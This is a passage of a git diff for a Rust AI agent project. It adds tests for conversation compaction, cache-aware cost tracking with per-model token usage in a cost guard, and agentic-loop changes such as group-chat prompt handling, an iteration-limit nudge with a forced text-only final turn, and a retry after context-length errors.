make_thread(10); + assert_eq!(thread.turns.len(), 10); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 3 }, + None, + ) + .await + .expect("compact should succeed"); + + // Only 3 turns remain + assert_eq!(thread.turns.len(), 3); + + // They are the most recent ones (msg-7, msg-8, msg-9) + assert_eq!(thread.turns[0].user_input, "msg-7"); + assert_eq!(thread.turns[1].user_input, "msg-8"); + assert_eq!(thread.turns[2].user_input, "msg-9"); + + // Turn numbers are re-indexed to 0, 1, 2 + assert_eq!(thread.turns[0].turn_number, 0); + assert_eq!(thread.turns[1].turn_number, 1); + assert_eq!(thread.turns[2].turn_number, 2); + + // Result metadata + assert_eq!(result.turns_removed, 7); + assert!(!result.summary_written); + assert!(result.summary.is_none()); + + // Tokens should be reported (before > 0 since we had content) + assert!(result.tokens_before > 0); + assert!(result.tokens_after > 0); + assert!(result.tokens_before > result.tokens_after); + } + + // ------------------------------------------------------------------ + // 2. compact_truncate with fewer turns than limit (no-op) + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_truncate_with_fewer_turns_than_limit() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = make_thread(2); + + let original_inputs: Vec = + thread.turns.iter().map(|t| t.user_input.clone()).collect(); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 5 }, + None, + ) + .await + .expect("compact should succeed"); + + // All turns preserved + assert_eq!(thread.turns.len(), 2); + assert_eq!(thread.turns[0].user_input, original_inputs[0]); + assert_eq!(thread.turns[1].user_input, original_inputs[1]); + + // No turns removed + assert_eq!(result.turns_removed, 0); + assert!(!result.summary_written); + assert!(result.summary.is_none()); + } + + // ------------------------------------------------------------------ + // 3. compact_truncate with empty turns list + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_truncate_empty_turns() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = Thread::new(Uuid::new_v4()); + assert!(thread.turns.is_empty()); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 3 }, + None, + ) + .await + .expect("compact should succeed on empty turns"); + + assert!(thread.turns.is_empty()); + assert_eq!(result.turns_removed, 0); + assert_eq!(result.tokens_before, 0); + assert_eq!(result.tokens_after, 0); + } + + // ------------------------------------------------------------------ + // 4. compact_with_summary produces summary turn via StubLlm + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_with_summary_produces_summary_turn() { + let canned_summary = + "- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed"; + let llm = Arc::new(StubLlm::new(canned_summary)); + let compactor = make_compactor(llm.clone()); + let mut thread = make_thread(5); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Summarize { keep_recent: 2 }, + None, + ) + .await + .expect("compact with summary should succeed"); + + // Should keep only 2 recent turns + assert_eq!(thread.turns.len(), 2); + + // The kept turns should be the last two (msg-3, msg-4) + assert_eq!(thread.turns[0].user_input, "msg-3"); + assert_eq!(thread.turns[1].user_input, "msg-4"); + + // Result should report the summary + assert_eq!(result.turns_removed, 3); + assert!(result.summary.is_some()); + let summary = result.summary.unwrap(); + assert!(summary.contains("User greeted the agent")); + assert!(summary.contains("Five exchanges completed")); + + // summary_written should be false since no workspace was provided + assert!(!result.summary_written); + + // StubLlm should have been called exactly once for the summary + assert_eq!(llm.calls(), 1); + } + + // ------------------------------------------------------------------ + // 5. compact_with_summary: LLM failure returns error (does not corrupt thread) + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_with_summary_llm_failure() { + let llm = Arc::new(StubLlm::failing("broken-llm")); + let compactor = make_compactor(llm.clone()); + let mut thread = make_thread(8); + let original_len = thread.turns.len(); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Summarize { keep_recent: 3 }, + None, + ) + .await; + + // The LLM failure should propagate as an error + assert!(result.is_err()); + + // The thread should NOT have been modified (turns not truncated + // on failure, since the error occurs before truncation) + assert_eq!(thread.turns.len(), original_len); + } + + // ------------------------------------------------------------------ + // 6. compact_with_summary: fewer turns than keep_recent is a no-op + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_with_summary_fewer_turns_than_keep() { + let llm = Arc::new(StubLlm::new("should not be called")); + let compactor = make_compactor(llm.clone()); + let mut thread = make_thread(3); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Summarize { keep_recent: 5 }, + None, + ) + .await + .expect("compact should succeed"); + + // No turns removed, LLM never called + assert_eq!(thread.turns.len(), 3); + assert_eq!(result.turns_removed, 0); + assert!(result.summary.is_none()); + assert_eq!(llm.calls(), 0); + } + + // ------------------------------------------------------------------ + // 7. compact_to_workspace without workspace falls back to truncation + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_to_workspace_without_workspace_falls_back() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = make_thread(20); + + let result = compactor + .compact(&mut thread, CompactionStrategy::MoveToWorkspace, None) + .await + .expect("compact should succeed"); + + // Without a workspace, compact_to_workspace falls back to truncation + // keeping 5 turns (the hardcoded fallback in the code) + assert_eq!(thread.turns.len(), 5); + assert_eq!(result.turns_removed, 15); + + // The remaining turns should be the last 5 + assert_eq!(thread.turns[0].user_input, "msg-15"); + assert_eq!(thread.turns[4].user_input, "msg-19"); + } + + // ------------------------------------------------------------------ + // 8. compact_to_workspace: fewer turns than keep is a no-op + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_to_workspace_fewer_turns_noop() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + // MoveToWorkspace keeps 10 turns when workspace is available. + // Without workspace it falls back to truncate(5). + // With fewer turns, test the no-workspace fallback path: + let mut thread = make_thread(4); + + let result = compactor + .compact(&mut thread, CompactionStrategy::MoveToWorkspace, None) + .await + .expect("compact should succeed"); + + // 4 turns < 5 (fallback keep_recent), so no truncation + assert_eq!(thread.turns.len(), 4); + assert_eq!(result.turns_removed, 0); + } + + // ------------------------------------------------------------------ + // 9. format_turns_for_storage includes tool calls + // ------------------------------------------------------------------ + + #[test] + fn test_format_turns_for_storage_with_tool_calls() { + let mut thread = Thread::new(Uuid::new_v4()); + thread.start_turn("Search for X"); + // Record a tool call on the current turn + if let Some(turn) = thread.turns.last_mut() { + turn.record_tool_call("search", serde_json::json!({"query": "X"})); + } + thread.complete_turn("Found X"); + + let formatted = format_turns_for_storage(&thread.turns); + assert!(formatted.contains("Turn 1")); + assert!(formatted.contains("Search for X")); + assert!(formatted.contains("Found X")); + assert!(formatted.contains("Tools: search")); + } + + // ------------------------------------------------------------------ + // 10. format_turns_for_storage with no response (incomplete turn) + // ------------------------------------------------------------------ + + #[test] + fn test_format_turns_for_storage_incomplete_turn() { + let mut thread = Thread::new(Uuid::new_v4()); + thread.start_turn("In progress message"); + // Don't complete the turn + + let formatted = format_turns_for_storage(&thread.turns); + assert!(formatted.contains("Turn 1")); + assert!(formatted.contains("In progress message")); + // No "Agent:" line since response is None + assert!(!formatted.contains("Agent:")); + } + + // ------------------------------------------------------------------ + // 11. format_turns_for_storage empty list + // ------------------------------------------------------------------ + + #[test] + fn test_format_turns_for_storage_empty() { + let formatted = format_turns_for_storage(&[]); + assert!(formatted.is_empty()); + } + + // ------------------------------------------------------------------ + // 12. Token counts decrease after truncation + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_tokens_decrease_after_compaction() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = make_thread(20); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 5 }, + None, + ) + .await + .expect("compact should succeed"); + + assert!( + result.tokens_after < result.tokens_before, + "tokens_after ({}) should be less than tokens_before ({})", + result.tokens_after, + result.tokens_before + ); + } + + // ------------------------------------------------------------------ + // 13. compact_with_summary: keep_recent=0 removes all turns + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_truncate_keep_zero() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = make_thread(5); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 0 }, + None, + ) + .await + .expect("compact should succeed"); + + assert!(thread.turns.is_empty()); + assert_eq!(result.turns_removed, 5); + assert_eq!(result.tokens_after, 0); + } + + // ------------------------------------------------------------------ + // 14. Summarize with keep_recent=0 summarizes all and removes all + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_compact_with_summary_keep_zero() { + let llm = Arc::new(StubLlm::new("Summary of all turns")); + let compactor = make_compactor(llm.clone()); + let mut thread = make_thread(5); + + let result = compactor + .compact( + &mut thread, + CompactionStrategy::Summarize { keep_recent: 0 }, + None, + ) + .await + .expect("compact should succeed"); + + assert!(thread.turns.is_empty()); + assert_eq!(result.turns_removed, 5); + assert!(result.summary.is_some()); + assert_eq!(result.summary.unwrap(), "Summary of all turns"); + assert_eq!(llm.calls(), 1); + } + + // ------------------------------------------------------------------ + // 15. Messages are correctly built from turns for thread.messages() + // after compaction + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_messages_coherent_after_compaction() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = make_thread(10); + + compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 3 }, + None, + ) + .await + .expect("compact should succeed"); + + let messages = thread.messages(); + // 3 turns * 2 messages each (user + assistant) = 6 + assert_eq!(messages.len(), 6); + + // Verify alternating user/assistant pattern + for (i, msg) in messages.iter().enumerate() { + if i % 2 == 0 { + assert_eq!(msg.role, crate::llm::Role::User); + } else { + assert_eq!(msg.role, crate::llm::Role::Assistant); + } + } + + // Verify content matches the last 3 original turns + assert_eq!(messages[0].content, "msg-7"); + assert_eq!(messages[1].content, "resp-7"); + assert_eq!(messages[4].content, "msg-9"); + assert_eq!(messages[5].content, "resp-9"); + } + + // ------------------------------------------------------------------ + // 16. Multiple sequential compactions work correctly + // ------------------------------------------------------------------ + + #[tokio::test] + async fn test_sequential_compactions() { + let llm = Arc::new(StubLlm::new("unused")); + let compactor = make_compactor(llm); + let mut thread = make_thread(20); + + // First compaction: 20 -> 10 + let r1 = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 10 }, + None, + ) + .await + .expect("first compact"); + assert_eq!(thread.turns.len(), 10); + assert_eq!(r1.turns_removed, 10); + + // Second compaction: 10 -> 3 + let r2 = compactor + .compact( + &mut thread, + CompactionStrategy::Truncate { keep_recent: 3 }, + None, + ) + .await + .expect("second compact"); + assert_eq!(thread.turns.len(), 3); + assert_eq!(r2.turns_removed, 7); + + // The remaining turns should be the very last 3 from the original 20 + assert_eq!(thread.turns[0].user_input, "msg-17"); + assert_eq!(thread.turns[1].user_input, "msg-18"); + assert_eq!(thread.turns[2].user_input, "msg-19"); + } } diff --git a/src/agent/cost_guard.rs b/src/agent/cost_guard.rs index 2ddeae58..4563bbbe 100644 --- a/src/agent/cost_guard.rs +++ b/src/agent/cost_guard.rs @@ -4,7 +4,7 @@ //! to prevent runaway agents from burning through API credits. Especially //! important for daemon/heartbeat modes where the agent acts autonomously. -use std::collections::VecDeque; +use std::collections::{HashMap, VecDeque}; use std::sync::atomic::{AtomicBool, Ordering}; use std::time::Instant; @@ -53,6 +53,14 @@ impl std::fmt::Display for CostLimitExceeded { } } +/// Per-model token usage counters. +#[derive(Debug, Clone, Default)] +pub struct ModelTokens { + pub input_tokens: u64, + pub output_tokens: u64, + pub cost: Decimal, +} + /// Tracks costs and action rates, enforcing configurable limits. /// /// Thread-safe; designed to be shared via `Arc`. @@ -67,6 +75,9 @@ pub struct CostGuard { /// Flag set when daily budget is exceeded to short-circuit checks. budget_exceeded: AtomicBool, + + /// Per-model token usage since startup. + model_tokens: Mutex>, } struct DailyCost { @@ -85,6 +96,7 @@ impl CostGuard { }), action_window: Mutex::new(VecDeque::new()), budget_exceeded: AtomicBool::new(false), + model_tokens: Mutex::new(HashMap::new()), } } @@ -119,10 +131,12 @@ impl CostGuard { // Check hourly rate if let Some(limit) = self.config.max_actions_per_hour { let mut window = self.action_window.lock().await; - let cutoff = Instant::now() - std::time::Duration::from_secs(3600); - // Drain expired entries - while window.front().is_some_and(|t| *t < cutoff) { - window.pop_front(); + // checked_sub avoids panic when system uptime < 1 hour (Windows) + if let Some(cutoff) = Instant::now().checked_sub(std::time::Duration::from_secs(3600)) { + // Drain expired entries + while window.front().is_some_and(|t| *t < cutoff) { + window.pop_front(); + } } let count = window.len() as u64; if count >= limit { @@ -139,16 +153,46 @@ impl CostGuard { /// Record a completed LLM action: its token costs and the action timestamp. /// /// Call this AFTER an LLM call completes so that costs are tracked. + /// - `cache_read_input_tokens`: tokens served from cache. + /// - `cache_creation_input_tokens`: tokens written to cache. + /// - `cache_read_discount`: divisor for cache-read cost (e.g. 10 for Anthropic 90% off, 2 for OpenAI 50% off). + /// - `cache_write_multiplier`: cost multiplier for cache writes (1.25 for 5m, 2.0 for 1h). + /// + /// When `cost_per_token` is `Some`, those rates are used directly (provider- + /// sourced pricing). When `None`, falls back to the static `costs::model_cost` + /// lookup table, then `costs::default_cost`. + #[allow(clippy::too_many_arguments)] pub async fn record_llm_call( &self, model: &str, input_tokens: u32, output_tokens: u32, + cache_read_input_tokens: u32, + cache_creation_input_tokens: u32, + cache_read_discount: Decimal, + cache_write_multiplier: Decimal, + cost_per_token: Option<(Decimal, Decimal)>, ) -> Decimal { - let (input_rate, output_rate) = - costs::model_cost(model).unwrap_or_else(costs::default_cost); - let cost = - input_rate * Decimal::from(input_tokens) + output_rate * Decimal::from(output_tokens); + let (input_rate, output_rate) = cost_per_token + .unwrap_or_else(|| costs::model_cost(model).unwrap_or_else(costs::default_cost)); + // Cached read tokens cost input_rate / cache_read_discount (provider-specific). + // Cached write tokens cost write_multiplier × input_rate (e.g. 1.25× for 5m, 2× for 1h). + // Uncached tokens = total input - cache reads - cache writes. + let cached_total = cache_read_input_tokens.saturating_add(cache_creation_input_tokens); + let uncached_input = input_tokens.saturating_sub(cached_total); + let effective_discount = if cache_read_discount.is_zero() { + Decimal::ONE + } else { + cache_read_discount + }; + let cache_read_cost = + input_rate * Decimal::from(cache_read_input_tokens) / effective_discount; + let cache_write_cost = + input_rate * Decimal::from(cache_creation_input_tokens) * cache_write_multiplier; + let cost = input_rate * Decimal::from(uncached_input) + + cache_read_cost + + cache_write_cost + + output_rate * Decimal::from(output_tokens); // Update daily cost (reset if new day) { @@ -192,6 +236,15 @@ impl CostGuard { window.push_back(Instant::now()); } + // Track per-model token usage + { + let mut tokens = self.model_tokens.lock().await; + let entry = tokens.entry(model.to_string()).or_default(); + entry.input_tokens += u64::from(input_tokens); + entry.output_tokens += u64::from(output_tokens); + entry.cost += cost; + } + cost } @@ -209,12 +262,19 @@ impl CostGuard { /// Number of actions in the current hourly window. pub async fn actions_this_hour(&self) -> u64 { let mut window = self.action_window.lock().await; - let cutoff = Instant::now() - std::time::Duration::from_secs(3600); - while window.front().is_some_and(|t| *t < cutoff) { - window.pop_front(); + // checked_sub avoids panic when system uptime < 1 hour (Windows) + if let Some(cutoff) = Instant::now().checked_sub(std::time::Duration::from_secs(3600)) { + while window.front().is_some_and(|t| *t < cutoff) { + window.pop_front(); + } } window.len() as u64 } + + /// Per-model token usage since startup. + pub async fn model_usage(&self) -> HashMap { + self.model_tokens.lock().await.clone() + } } /// Convert a Decimal USD amount to whole cents (truncated). @@ -235,7 +295,18 @@ mod tests { assert!(guard.check_allowed().await.is_ok()); // Record a big call, still allowed - guard.record_llm_call("gpt-4o", 100_000, 100_000).await; + guard + .record_llm_call( + "gpt-4o", + 100_000, + 100_000, + 0, + 0, + Decimal::ONE, + Decimal::ONE, + None, + ) + .await; assert!(guard.check_allowed().await.is_ok()); } @@ -252,7 +323,18 @@ mod tests { // Record a call that costs more than $0.01 // gpt-4o: input=$0.0000025/tok, output=$0.00001/tok // 10000 input + 10000 output = $0.025 + $0.10 = $0.125 - guard.record_llm_call("gpt-4o", 10_000, 10_000).await; + guard + .record_llm_call( + "gpt-4o", + 10_000, + 10_000, + 0, + 0, + Decimal::ONE, + Decimal::ONE, + None, + ) + .await; // Now should be blocked let result = guard.check_allowed().await; @@ -275,7 +357,9 @@ mod tests { // First 3 actions allowed for _ in 0..3 { assert!(guard.check_allowed().await.is_ok()); - guard.record_llm_call("gpt-4o", 10, 10).await; + guard + .record_llm_call("gpt-4o", 10, 10, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; } // 4th should be blocked @@ -296,7 +380,9 @@ mod tests { assert_eq!(guard.daily_spend().await, Decimal::ZERO); - let cost = guard.record_llm_call("gpt-4o", 1000, 500).await; + let cost = guard + .record_llm_call("gpt-4o", 1000, 500, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; assert!(cost > Decimal::ZERO); assert_eq!(guard.daily_spend().await, cost); } @@ -307,8 +393,12 @@ mod tests { assert_eq!(guard.actions_this_hour().await, 0); - guard.record_llm_call("gpt-4o", 10, 10).await; - guard.record_llm_call("gpt-4o", 10, 10).await; + guard + .record_llm_call("gpt-4o", 10, 10, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; + guard + .record_llm_call("gpt-4o", 10, 10, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; assert_eq!(guard.actions_this_hour().await, 2); } @@ -336,4 +426,234 @@ mod tests { assert!(rate.to_string().contains("101 actions")); assert!(rate.to_string().contains("100 allowed")); } + + #[tokio::test] + async fn test_model_usage_per_model_tracking() { + let guard = CostGuard::new(CostGuardConfig::default()); + + // Initially empty + assert!(guard.model_usage().await.is_empty()); + + // Record calls for two different models + guard + .record_llm_call("gpt-4o", 1000, 500, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; + guard + .record_llm_call("gpt-4o", 2000, 1000, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; + guard + .record_llm_call( + "claude-3-5-sonnet-20241022", + 500, + 200, + 0, + 0, + Decimal::ONE, + Decimal::ONE, + None, + ) + .await; + + let usage = guard.model_usage().await; + assert_eq!(usage.len(), 2); + + let gpt = usage.get("gpt-4o").expect("gpt-4o should be tracked"); + assert_eq!(gpt.input_tokens, 3000); + assert_eq!(gpt.output_tokens, 1500); + assert!(gpt.cost > Decimal::ZERO); + + let claude = usage + .get("claude-3-5-sonnet-20241022") + .expect("claude should be tracked"); + assert_eq!(claude.input_tokens, 500); + assert_eq!(claude.output_tokens, 200); + assert!(claude.cost > Decimal::ZERO); + + // Costs should differ since models have different pricing + assert_ne!(gpt.cost, claude.cost); + } + + #[tokio::test] + async fn test_cache_discount_reduces_cost() { + let guard = CostGuard::new(CostGuardConfig::default()); + + // Full price: 1000 input + 500 output, no cache + let full_cost = guard + .record_llm_call( + "claude-opus-4-6", + 1000, + 500, + 0, + 0, + Decimal::ONE, + Decimal::ONE, + None, + ) + .await; + + let guard2 = CostGuard::new(CostGuardConfig::default()); + + // Same tokens but all input cached (90% discount on input) + let cached_cost = guard2 + .record_llm_call( + "claude-opus-4-6", + 1000, + 500, + 1000, + 0, + dec!(10), + Decimal::ONE, + None, + ) + .await; + + // Cached cost must be strictly less than full cost + assert!( + cached_cost < full_cost, + "cached_cost ({}) should be less than full_cost ({})", + cached_cost, + full_cost + ); + + // The difference should be exactly 90% of the input cost + let (input_rate, _) = costs::model_cost("claude-opus-4-6").unwrap(); + let expected_savings = input_rate * Decimal::from(1000u32) * dec!(9) / dec!(10); + let actual_savings = full_cost - cached_cost; + assert_eq!( + actual_savings, expected_savings, + "savings should be 90% of input cost for fully-cached request" + ); + } + + #[tokio::test] + async fn test_cache_write_surcharge_increases_cost() { + let guard = CostGuard::new(CostGuardConfig::default()); + + // Full price: 1000 input + 500 output, no cache activity + let full_cost = guard + .record_llm_call( + "claude-opus-4-6", + 1000, + 500, + 0, + 0, + Decimal::ONE, + Decimal::ONE, + None, + ) + .await; + + let guard2 = CostGuard::new(CostGuardConfig::default()); + + // Same tokens, but all input tokens are cache writes (1.25x surcharge for 5m TTL) + let short_multiplier = Decimal::new(125, 2); // 1.25 + let write_cost = guard2 + .record_llm_call( + "claude-opus-4-6", + 1000, + 500, + 0, + 1000, + Decimal::ONE, + short_multiplier, + None, + ) + .await; + + // Write cost must be strictly greater than full cost + assert!( + write_cost > full_cost, + "write_cost ({}) should be greater than full_cost ({})", + write_cost, + full_cost + ); + + // The difference should be exactly 25% of the input cost + let (input_rate, _) = costs::model_cost("claude-opus-4-6").unwrap(); + let expected_surcharge = input_rate * Decimal::from(1000u32) * dec!(0.25); + let actual_surcharge = write_cost - full_cost; + assert_eq!( + actual_surcharge, expected_surcharge, + "surcharge should be 25% of input cost for 5m cache writes" + ); + } + + #[tokio::test] + async fn test_cache_write_surcharge_long_ttl() { + let guard = CostGuard::new(CostGuardConfig::default()); + + // Full price: 1000 input + 500 output + let full_cost = guard + .record_llm_call( + "claude-opus-4-6", + 1000, + 500, + 0, + 0, + Decimal::ONE, + Decimal::ONE, + None, + ) + .await; + + let guard2 = CostGuard::new(CostGuardConfig::default()); + + // All input tokens are cache writes with 2.0x multiplier (1h TTL) + let long_multiplier = Decimal::TWO; + let write_cost = guard2 + .record_llm_call( + "claude-opus-4-6", + 1000, + 500, + 0, + 1000, + Decimal::ONE, + long_multiplier, + None, + ) + .await; + + // Write cost > full cost + assert!(write_cost > full_cost); + + // Surcharge should be 100% of input cost (2.0x - 1.0x = 1.0x) + let (input_rate, _) = costs::model_cost("claude-opus-4-6").unwrap(); + let expected_surcharge = input_rate * Decimal::from(1000u32); + let actual_surcharge = write_cost - full_cost; + assert_eq!( + actual_surcharge, expected_surcharge, + "surcharge should be 100% of input cost for 1h cache writes" + ); + } + + /// Regression test for #657: Instant::now() - Duration panics on Windows + /// when system uptime is less than the subtracted duration. + #[tokio::test] + async fn test_checked_sub_no_panic_on_fresh_guard() { + // A fresh CostGuard with rate limits should not panic even if + // checked_sub returns None (simulating short uptime). + let guard = CostGuard::new(CostGuardConfig { + max_cost_per_day_cents: None, + max_actions_per_hour: Some(100), + }); + + // These must not panic regardless of system uptime + assert!(guard.check_allowed().await.is_ok()); + assert_eq!(guard.actions_this_hour().await, 0); + + // Record some actions and verify again + guard + .record_llm_call("gpt-4o", 10, 10, 0, 0, Decimal::ONE, Decimal::ONE, None) + .await; + assert!(guard.check_allowed().await.is_ok()); + assert_eq!(guard.actions_this_hour().await, 1); + } + + /// Verify that checked_sub itself behaves as expected for the pattern we use. + #[test] + fn test_instant_checked_sub_returns_none_for_overflow() { + // Duration::MAX will always exceed uptime, so checked_sub must return None + let result = Instant::now().checked_sub(std::time::Duration::MAX); + assert!(result.is_none()); + } } diff --git a/src/agent/dispatcher.rs b/src/agent/dispatcher.rs index da9ce416..2754f4d6 100644 --- a/src/agent/dispatcher.rs +++ b/src/agent/dispatcher.rs @@ -6,6 +6,7 @@ use std::sync::Arc; use tokio::sync::Mutex; +use tokio::task::JoinSet; use uuid::Uuid; use crate::agent::Agent; @@ -14,6 +15,7 @@ use crate::channels::{IncomingMessage, StatusUpdate}; use crate::context::JobContext; use crate::error::Error; use crate::llm::{ChatMessage, Reasoning, ReasoningContext, RespondResult}; +use crate::tools::redact_params; /// Result of the agentic loop execution. pub(super) enum AgenticLoopResult { @@ -32,20 +34,34 @@ impl Agent { /// Returns `AgenticLoopResult::Response` on completion, or /// `AgenticLoopResult::NeedApproval` if a tool requires user approval. /// - /// When `resume_after_tool` is true the loop already knows a tool was - /// executed earlier in this turn (e.g. an approved tool), so it won't - /// force the LLM to use tools if it responds with text. pub(super) async fn run_agentic_loop( &self, message: &IncomingMessage, session: Arc>, thread_id: Uuid, initial_messages: Vec, - resume_after_tool: bool, ) -> Result { + // Detect group chat from channel metadata (needed before loading system prompt) + let is_group_chat = message + .metadata + .get("chat_type") + .and_then(|v| v.as_str()) + .is_some_and(|t| t == "group" || t == "channel" || t == "supergroup"); + // Load workspace system prompt (identity files: AGENTS.md, SOUL.md, etc.) + // In group chats, MEMORY.md is excluded to prevent leaking personal context. + // Resolve the user's timezone + let user_tz = crate::timezone::resolve_timezone( + message.timezone.as_deref(), + None, // user setting lookup can be added later + &self.config.default_timezone, + ); + let system_prompt = if let Some(ws) = self.workspace() { - match ws.system_prompt().await { + match ws + .system_prompt_for_context_tz(is_group_chat, user_tz) + .await + { Ok(prompt) if !prompt.is_empty() => Some(prompt), Ok(_) => None, Err(e) => { @@ -97,7 +113,19 @@ impl Agent { None }; - let mut reasoning = Reasoning::new(self.llm().clone(), self.safety().clone()); + let mut reasoning = Reasoning::new(self.llm().clone()) + .with_channel(message.channel.clone()) + .with_model_name(self.llm().active_model_name()) + .with_group_chat(is_group_chat); + + // Pass channel-specific conversation context to the LLM. + // This helps the agent know who/group it's talking to. + if let Some(channel) = self.channels.get_channel(&message.channel).await { + for (key, value) in channel.conversation_context(&message.metadata) { + reasoning = reasoning.with_conversation_data(&key, &value); + } + } + if let Some(prompt) = system_prompt { reasoning = reasoning.with_system_prompt(prompt); } @@ -109,18 +137,39 @@ impl Agent { let mut context_messages = initial_messages; // Create a JobContext for tool execution (chat doesn't have a real job) - let job_ctx = JobContext::with_user(&message.user_id, "chat", "Interactive chat session"); + let mut job_ctx = + JobContext::with_user(&message.user_id, "chat", "Interactive chat session"); + job_ctx.http_interceptor = self.deps.http_interceptor.clone(); + job_ctx.user_timezone = user_tz.name().to_string(); - const MAX_TOOL_ITERATIONS: usize = 10; + // Build system prompts once for this turn. Two variants: with tools + // (normal iterations) and without (force_text final iteration). + let initial_tool_defs = self.tools().tool_definitions().await; + let initial_tool_defs = if !active_skills.is_empty() { + crate::skills::attenuate_tools(&initial_tool_defs, &active_skills).tools + } else { + initial_tool_defs + }; + let cached_prompt = reasoning.build_system_prompt_with_tools(&initial_tool_defs); + let cached_prompt_no_tools = reasoning.build_system_prompt_with_tools(&[]); + + let max_tool_iterations = self.config.max_tool_iterations; + // Force a text-only response on the last iteration to guarantee termination + // instead of hard-erroring. The penultimate iteration also gets a nudge + // message so the LLM knows it should wrap up. + let force_text_at = max_tool_iterations; + let nudge_at = max_tool_iterations.saturating_sub(1); let mut iteration = 0; - let mut tools_executed = resume_after_tool; - + const MAX_TOOL_INTENT_NUDGES: u32 = 2; + let mut consecutive_tool_intent_nudges: u32 = 0; loop { iteration += 1; - if iteration > MAX_TOOL_ITERATIONS { + // Hard ceiling one past the forced-text iteration (should never be reached + // since force_text_at guarantees a text response, but kept as a safety net). + if iteration > max_tool_iterations + 1 { return Err(crate::error::LlmError::InvalidResponse { provider: "agent".to_string(), - reason: format!("Exceeded maximum tool iterations ({})", MAX_TOOL_ITERATIONS), + reason: format!("Exceeded maximum tool iterations ({max_tool_iterations})"), } .into()); } @@ -148,6 +197,19 @@ impl Agent { .into()); } + // Inject a nudge message when approaching the iteration limit so the + // LLM is aware it should produce a final answer on the next turn. + if iteration == nudge_at { + context_messages.push(ChatMessage::system( + "You are approaching the tool call limit. \ + Provide your best final answer on the next response \ + using the information you have gathered so far. \ + Do not call any more tools.", + )); + } + + let force_text = iteration >= force_text_at; + // Refresh tool definitions each iteration so newly built tools become visible let tool_defs = self.tools().tool_definitions().await; @@ -167,26 +229,97 @@ impl Agent { tool_defs }; - // Call LLM with current context - let context = ReasoningContext::new() + // Call LLM with current context; force_text drops tools to guarantee a + // text response on the final iteration. The pre-built system prompt + // avoids rebuilding the same ~1,500-token string each iteration. + let mut context = ReasoningContext::new() .with_messages(context_messages.clone()) .with_tools(tool_defs) + .with_system_prompt(if force_text { + cached_prompt_no_tools.clone() + } else { + cached_prompt.clone() + }) .with_metadata({ let mut m = std::collections::HashMap::new(); m.insert("thread_id".to_string(), thread_id.to_string()); m }); + context.force_text = force_text; - let output = reasoning.respond_with_tools(&context).await?; + if force_text { + tracing::info!( + iteration, + "Forcing text-only response (iteration limit reached)" + ); + } + + let _ = self + .channels + .send_status( + &message.channel, + StatusUpdate::Thinking("Calling LLM...".into()), + &message.metadata, + ) + .await; + + let output = match reasoning.respond_with_tools(&context).await { + Ok(output) => output, + Err(crate::error::LlmError::ContextLengthExceeded { used, limit }) => { + tracing::warn!( + used, + limit, + iteration, + "Context length exceeded, compacting messages and retrying" + ); + + // Compact: keep system messages + last user message + current turn + context_messages = compact_messages_for_retry(&context_messages); + + // Rebuild context with compacted messages, reusing cached prompt + let mut retry_context = ReasoningContext::new() + .with_messages(context_messages.clone()) + .with_tools(if force_text { + Vec::new() + } else { + context.available_tools.clone() + }) + .with_metadata(context.metadata.clone()); + retry_context.force_text = force_text; + retry_context.system_prompt = context.system_prompt.clone(); + + reasoning + .respond_with_tools(&retry_context) + .await + .map_err(|retry_err| { + tracing::error!( + original_used = used, + original_limit = limit, + retry_error = %retry_err, + "Retry after auto-compaction also failed" + ); + // Propagate the actual retry error so callers see the real failure + crate::error::Error::from(retry_err) + })? + } + Err(e) => return Err(e.into()), + }; // Record cost and track token usage let model_name = self.llm().active_model_name(); + let read_discount = self.llm().cache_read_discount(); + let write_multiplier = self.llm().cache_write_multiplier(); let call_cost = self .cost_guard() .record_llm_call( &model_name, output.usage.input_tokens, output.usage.output_tokens, + output.usage.cache_read_input_tokens, + output.usage.cache_creation_input_tokens, + read_discount, + write_multiplier, + Some(self.llm().cost_per_token()), ) .await; tracing::debug!( @@ -198,30 +331,35 @@ impl Agent { match output.result { RespondResult::Text(text) => { - // If no tools have been executed yet, prompt the LLM to use tools - // This handles the case where the model explains what it will do - // instead of actually calling tools - if !tools_executed && iteration < 3 { - tracing::debug!( - "No tools executed yet (iteration {}), prompting for tool use", - iteration + // Nudge the LLM if it expressed tool intent without calling tools. + // This is common with non-Anthropic models (e.g. GLM-5 via NEAR AI) + // that output 